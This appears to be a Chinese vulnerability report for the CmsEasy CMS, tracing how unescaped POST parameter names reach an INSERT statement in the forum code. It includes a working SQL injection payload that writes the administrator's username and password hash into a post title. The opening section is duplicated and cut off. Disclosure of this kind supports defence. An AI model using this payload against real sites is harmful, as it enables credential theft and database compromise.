### 简要描述: 真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢! 无视360webscan。 版本:20140605 ### 详细说明: 漏洞与 [WooYun: CmsEasy最新 V5.5-UTF8 正式版多处漏洞打包](http://www.wooyun.org/bugs/wooyun-2014-067464) 重复。 注入函数在/bbs/add-archive.php, ``` if(isset($_POST['submit'])){ if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){ //action_public::turnPage('index.php','验证码输入错误!'); } $archive = db_bbs_archive::getInstance(); unset($_POST['submit']); unset($_POST['verify']); $_POST['username'] = $_COOKIE['login_username']; $_POST['userid'] = $admin->userid; $_POST['ip'] = $_SERVER['REMOTE_ADDR']; $_POST['addtime'] = mktime(); if($id = $archive->inserData($_POST)){ action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功'); }else{ action_public::turnPage('index.php','添加失败,请联系我们!'); } } ``` 关注这句话$archive->inserData($_POST),直接把$_POST放入了inserData函数,我们进去看看: ``` public function inserData($data){ $r = $this->odb->insert($this->tblName,$data); if($r) return $this->odb->getInsertId(); else return false; } ```...
### 简要描述: 真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢! 无视360webscan。 版本:20140605 ### 详细说明: 漏洞与 [WooYun: CmsEasy最新 V5.5-UTF8 正式版多处漏洞打包](http://www.wooyun.org/bugs/wooyun-2014-067464) 重复。 注入函数在/bbs/add-archive.php, ``` if(isset($_POST['submit'])){ if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){ //action_public::turnPage('index.php','验证码输入错误!'); } $archive = db_bbs_archive::getInstance(); unset($_POST['submit']); unset($_POST['verify']); $_POST['username'] = $_COOKIE['login_username']; $_POST['userid'] = $admin->userid; $_POST['ip'] = $_SERVER['REMOTE_ADDR']; $_POST['addtime'] = mktime(); if($id = $archive->inserData($_POST)){ action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功'); }else{ action_public::turnPage('index.php','添加失败,请联系我们!'); } } ``` 关注这句话$archive->inserData($_POST),直接把$_POST放入了inserData函数,我们进去看看: ``` public function inserData($data){ $r = $this->odb->insert($this->tblName,$data); if($r) return $this->odb->getInsertId(); else return false; } ``` 继续跟进: ``` public function insert($table, $data) { $sql = $this->getInsertString($table, $data); return $this->execSql($sql); } ``` 继续跟进: ``` public function getInsertString($table, $data) { $n_str = ''; $v_str = ''; $table = $this->filterString($table); foreach ($data as $k => $v) { $n_str .= $this->filterString($k).','; $v_str .= "'".$this->filterString($v)."',"; } $n_str = preg_replace( "/,$/", "", $n_str ); $v_str = preg_replace( "/,$/", "", $v_str ); $str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')'; return $str; } ``` 这个函数实际上就是一个insert语句。其中调用filterString对数据进行过滤。但只是加转义单引号而已,而注入语句中的key并没有过滤。 POST的时候,将注入语句放在KEY的位置,就能注入了。 详见漏洞证明。 ### 漏洞证明: 到/bbs,发表帖子,抓包。 增加一个POST参数,参数名是: ``` username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)# ``` 值随意。效果图如下: [<img src="https://images.seebug.org/upload/201407/0515305382d2bfe58fbb0b70b77373c49becacc2.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0515305382d2bfe58fbb0b70b77373c49becacc2.jpg) 发送即可。然后数据库中可以看到一篇帖子的title被注入成管理员密码: [<img src="https://images.seebug.org/upload/201407/051533397647c1221e753b3c167d66eaef3aa05c.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/051533397647c1221e753b3c167d66eaef3aa05c.jpg) 它的aid是8,那么我们只要访问http://localhost/easy/bbs/archive-display.php?aid=8即可看到结果: [<img src="https://images.seebug.org/upload/201407/05153503ccf4c7dda3e9edf1508505f337ea8faa.jpg" alt="09.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/05153503ccf4c7dda3e9edf1508505f337ea8faa.jpg) 我们不知道aid是多少的时候,遍历一下就行了。